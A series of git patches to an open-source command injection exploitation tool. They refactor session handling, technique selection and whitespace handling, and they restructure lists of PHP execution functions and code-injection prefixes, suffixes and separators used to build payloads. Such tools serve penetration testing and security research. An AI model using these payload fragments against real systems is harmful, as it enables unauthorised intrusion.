a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -244,7 +244,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) if not settings.LOAD_SESSION: i = i + 1 diff --git a/src/utils/settings.py b/src/utils/settings.py index 2d3b8ee985..07c61cd82b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 16c4af4b1a65502c5c25ccfcf1e8cf4a04e74e0c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 26 Oct 2022 07:02:45 +0300 Subject: [PATCH 0201/1023] Minor improvement regarding session handler. --- doc/CHANGELOG.md | 1 + src/core/main.py | 12 ++++++++++++ src/utils/menu.py | 2 +- src/utils/session_handler.py | 10 ++++++++++ src/utils/settings.py | 3 +-- 5 files changed, 25 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d13a211a1d..164007d512 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Revised: Minor improvement regarding session handler. * Revised: Minor improvement regarding `--wizard` option. * Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). diff --git a/src/core/main.py b/src/core/main.py index e0fc610dc1..e643d100c4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -401,6 +401,18 @@ def main(filename, url): if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel + if not menu.options.ignore_session and not menu.options.flush_session: + if session_handler.applied_techniques(url, http_request_method): + if not menu.options.tech: + menu.options.tech = session_handler.applied_techniques(url, http_request_method) + else: + menu.options.tech = list(menu.options.tech) + _ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))} + menu.options.tech.sort(key=lambda x:_[x]) + menu.options.tech = ''.join(menu.options.tech) + else: + menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + # Check for skipping injection techniques. if menu.options.skip_tech: settings.SKIP_TECHNIQUES = True diff --git a/src/utils/menu.py b/src/utils/menu.py index 72f39ec060..4fab4f266a 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -441,7 +441,7 @@ def banner(): injection.add_option("--technique", action="store", - default="cetf", + default="", dest="tech", help="Specify injection technique(s) to use.") diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index c970cd8b33..07acfa74c6 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -137,6 +137,10 @@ def injection_point_importation(url, technique, injection_type, separator, shell def applied_techniques(url, http_request_method): try: conn = sqlite3.connect(settings.SESSION_FILE) + if not menu.options.tech: + applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip "\ + "ORDER BY id DESC;") + if settings.TESTABLE_PARAMETER: applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ @@ -208,6 +212,11 @@ def injection_point_exportation(url, http_request_method): result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ table_name(url) + "_ip' AND type = 'table';") if result: + # if not settings.USER_SUPPLIED_TECHNIQUE: + # for session in result: + # check_injection_technique = menu.options.tech = session[0][:1] + # select_injection_type = session[1][:1].capitalize() + # else: if menu.options.tech[:1] == "c": select_injection_type = "R" elif menu.options.tech[:1] == "e": @@ -223,6 +232,7 @@ def injection_point_exportation(url, http_request_method): check_injection_technique = "d" else: check_injection_technique = menu.options.tech[:1] + if settings.TESTABLE_PARAMETER: cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ diff --git a/src/utils/settings.py b/src/utils/settings.py index 07c61cd82b..f5350f9f52 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -594,7 +594,6 @@ def sys_argv_errors(): # Available injection techniques. AVAILABLE_TECHNIQUES = [ "c", "e", "t", "f" ] - SKIP_TECHNIQUES = False # User Agent List From 7658e0116fbb524046048f6ec67c36fb65f8e597 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 27 Oct 2022 09:01:22 +0300 Subject: [PATCH 0202/1023] Improvements regarding dynamic code evaluation heuristic check. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 6 ++++-- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 164007d512..a36c15ea89 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Revised: Improvements regarding dynamic code evaluation heuristic check. * Revised: Minor improvement regarding session handler. * Revised: Minor improvement regarding `--wizard` option. * Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 070f512b3d..9b0358a7bd 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -366,9 +366,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: + if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + + if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: diff --git a/src/utils/settings.py b/src/utils/settings.py index f5350f9f52..7a68c86432 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6f5a1f3a9ea06cc84353cd257bd29766c40a3f1a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 28 Oct 2022 10:19:54 +0300 Subject: [PATCH 0203/1023] Minor update --- src/core/main.py | 7 +++++++ src/utils/settings.py | 22 +++++++++++++++------- 2 files changed, 22 insertions(+), 7 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index e643d100c4..e9f8ea55f6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -345,18 +345,25 @@ def main(filename, url): settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) + settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL1), key=settings.EVAL_SEPARATORS_LVL1.index) + settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL1), key=settings.EXECUTION_FUNCTIONS_LVL1.index) elif menu.options.level == settings.COOKIE_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) + settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL2), key=settings.EVAL_SEPARATORS_LVL2.index) + settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL2), key=settings.EXECUTION_FUNCTIONS_LVL2.index) elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index) settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index) + settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL3), key=settings.EVAL_SEPARATORS_LVL3.index) + settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL3), key=settings.EXECUTION_FUNCTIONS_LVL3.index) + else: err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." diff --git a/src/utils/settings.py b/src/utils/settings.py index 7a68c86432..d52253cd51 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -454,20 +454,28 @@ def sys_argv_errors(): JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] # Execution functions -EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] +EXECUTION_FUNCTIONS = [] +EXECUTION_FUNCTIONS_LVL1 = ["exec"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["system", "shell_exec"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["passthru", "proc_open", "popen"] # The code injection separators. -EVAL_SEPARATORS = ["", "%0a", "%0d%0a"] +EVAL_SEPARATORS = [] +EVAL_SEPARATORS_LVL1 = [""] +EVAL_SEPARATORS_LVL2 = EVAL_SEPARATORS_LVL1 + ["%0a"] +EVAL_SEPARATORS_LVL3 = EVAL_SEPARATORS_LVL2 + ["%0d%0a"] # The code injection prefixes. EVAL_PREFIXES = [] -EVAL_PREFIXES_LVL1 = ["{${", "'.", ".", ")'}", "');}"] -EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] +EVAL_PREFIXES_LVL1 = ["{${", "'.", "."] +EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"] +EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] # The code injection suffixes. EVAL_SUFFIXES = [] -EVAL_SUFFIXES_LVL1 = ["}}", ".'", "'#", ""] -EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + [".\"", "\\\\", "//", ")}", "#"] +EVAL_SUFFIXES_LVL1 = ["}}", ".'", ""] +EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"] +EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"] # The default (url-ecoded) white-space. WHITESPACES = ["%20"] From 40e973669f74655a41a9043f2bcb8fc995c27df8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 31 Oct 2022 09:01:37 +0200 Subject: [PATCH 0204/1023] Minor update --- .../results_based/techniques/classic/cb_injector.py | 4 ++-- src/utils/crawler.py | 2 ++ src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index e12d3d9e62..c975e8dd7e 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -48,8 +48,8 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: - if " " in payload: - payload = payload.replace(" ","%20") + if settings.SINGLE_WHITESPACE in payload: + payload = replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index c0952f3cd4..808ad39777 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -255,6 +255,8 @@ def no_usable_links(crawled_hrefs): The crawing process. """ def do_process(url): + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) identified_hrefs = False if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) diff --git a/src/utils/settings.py b/src/utils/settings.py index d52253cd51..8e96fc6793 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8d1869543f062d81d1fc8c8215742657b890fddb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 1 Nov 2022 07:38:01 +0200 Subject: [PATCH 0205/1023] Minor update --- .../injections/results_based/techniques/classic/cb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index cbe27dfb02..a3543ac920 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -176,7 +176,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + " (" + str(float_percent) + "%)" + info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 0d13640ab7..0fcf0557d2 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -187,7 +187,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + " (" + str(float_percent) + "%)" + info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() diff --git a/src/utils/settings.py b/src/utils/settings.py index 8e96fc6793..5acf457f74 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8803b67f2f4b45544b207a1e906d503d525a1585 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 2 Nov 2022 07:18:57 +0200 Subject: [PATCH 0206/1023] Minor refactoring --- .../blind/techniques/time_based/tb_handler.py | 16 ++++----- .../techniques/time_based/tb_injector.py | 2 +- src/core/injections/controller/checks.py | 18 +++++----- src/core/injections/controller/controller.py | 20 +++++------ .../injections/controller/shell_options.py | 2 +- .../techniques/classic/cb_enumeration.py | 2 +- .../techniques/classic/cb_handler.py | 12 +++---- .../techniques/classic/cb_injector.py | 10 +++--- .../techniques/classic/cb_payloads.py | 4 +-- .../techniques/eval_based/eb_enumeration.py | 12 +++---- .../techniques/eval_based/eb_handler.py | 16 ++++----- .../techniques/eval_based/eb_injector.py | 6 ++-- .../techniques/eval_based/eb_payloads.py | 2 +- .../techniques/file_based/fb_handler.py | 8 ++--- .../techniques/file_based/fb_injector.py | 6 ++-- .../techniques/file_based/fb_payloads.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 16 ++++----- .../techniques/tempfile_based/tfb_injector.py | 2 +- src/core/modules/shellshock/shellshock.py | 6 ++-- src/core/requests/authentication.py | 2 +- src/core/requests/requests.py | 36 +++++++++---------- src/core/shells/bind_tcp.py | 4 +-- src/core/shells/reverse_tcp.py | 4 +-- src/core/tamper/sleep2timeout.py | 2 +- src/utils/logs.py | 4 +-- src/utils/session_handler.py | 2 +- src/utils/settings.py | 2 +- src/utils/update.py | 2 +- 28 files changed, 110 insertions(+), 110 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index d46c641daf..dd5077ab1f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -57,7 +57,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r how_long = 0 if settings.VERBOSITY_LEVEL != 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) # Check if defined "--maxlen" option. @@ -230,7 +230,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -277,19 +277,19 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue # if settings.VERBOSITY_LEVEL == 0: - # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + # info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" # sys.stdout.write("\r" + settings.print_info_msg(info_msg)) # sys.stdout.flush() @@ -311,7 +311,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: @@ -358,7 +358,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -390,7 +390,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 06f550309a..e4615528d2 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -339,7 +339,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, output = "".join(str(p) for p in output) # Check for empty output. - if output == (len(output) * " "): + if output == (len(output) * settings.SINGLE_WHITESPACE): output = "" else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index dea83e2c3f..82db7ee90c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -962,11 +962,11 @@ def check_skipped_params(check_parameters): """ def print_non_listed_params(check_parameters, http_request_method, header_name): if settings.TEST_PARAMETER: - testable_parameters = ",".join(settings.TEST_PARAMETER).replace(" ","") + testable_parameters = ",".join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE,"") testable_parameters = testable_parameters.split(",") non_exist_param = list(set(testable_parameters) - set(check_parameters)) if non_exist_param: - non_exist_param = ",".join(non_exist_param).replace(" ","") + non_exist_param = ",".join(non_exist_param).replace(settings.SINGLE_WHITESPACE,"") non_exist_param = non_exist_param.split(",") if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: @@ -1510,7 +1510,7 @@ def is_empty(multi_parameters, http_request_method): pass elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ - re.findall(r'>(.*)<', empty)[0] == " ": + re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE: empty_parameters.append(re.findall(r'', empty)[0]) elif len(empty.split("=")[1]) == 0: empty_parameters.append(empty.split("=")[0]) @@ -1630,7 +1630,7 @@ def check_similarities(all_params): if param == all_params[param]: parameter_name = param all_params[param] = param + settings.RANDOM_TAG - all_params = [x.replace(" ", "") for x in json.dumps(all_params).split(", ")] + all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] else: for param in range(0, len(all_params)): if settings.IS_XML: @@ -1878,10 +1878,10 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi try: if sys_users: sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : + if len(sys_users.split(settings.SINGLE_WHITESPACE)) <= 1 : sys_users = sys_users.split("\n") else: - sys_users = sys_users.split(" ") + sys_users = sys_users.split(settings.SINGLE_WHITESPACE) # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " @@ -1981,8 +1981,8 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi """ def print_passes(sys_passes, filename, _, alter_shell): if sys_passes == "": - sys_passes = " " - sys_passes = sys_passes.replace(" ", "\n").split() + sys_passes = settings.SINGLE_WHITESPACE + sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, "\n").split() if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) @@ -2201,7 +2201,7 @@ def check_file_to_write(): if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] + content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9b0358a7bd..70723645de 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -133,7 +133,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" - technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" + technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: try: @@ -226,7 +226,7 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met settings.CLASSIC_STATE = False else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) # Check if it's exploitable via dynamic code evaluation technique. @@ -258,11 +258,11 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho settings.EVAL_BASED_STATE = False else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) # Check if it's exploitable via time-based command injection technique. @@ -278,7 +278,7 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m settings.TIME_BASED_STATE = False else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) # Check if it's exploitable via file-based command injection technique. @@ -294,7 +294,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m settings.FILE_BASED_STATE = False else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) """ @@ -325,7 +325,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) - if check_parameter.startswith(" "): + if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" the_type = "HTTP header" check_parameter = " '" + check_parameter.strip() + "'" @@ -547,7 +547,7 @@ def cookie_injection(url, http_request_method, filename, timesec): cookie_parameters = cookie_parameters_list # Remove whitespaces - cookie_parameters = [x.replace(" ", "") for x in cookie_parameters] + cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] check_parameters = [] for i in range(0, len(cookie_parameters)): @@ -651,7 +651,7 @@ def post_request(url, http_request_method, filename, timesec): found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] else: # Remove whitespaces - found_parameter = [x.replace(" ", "") for x in found_parameter] + found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter] # Check if multiple parameters check_parameters = [] 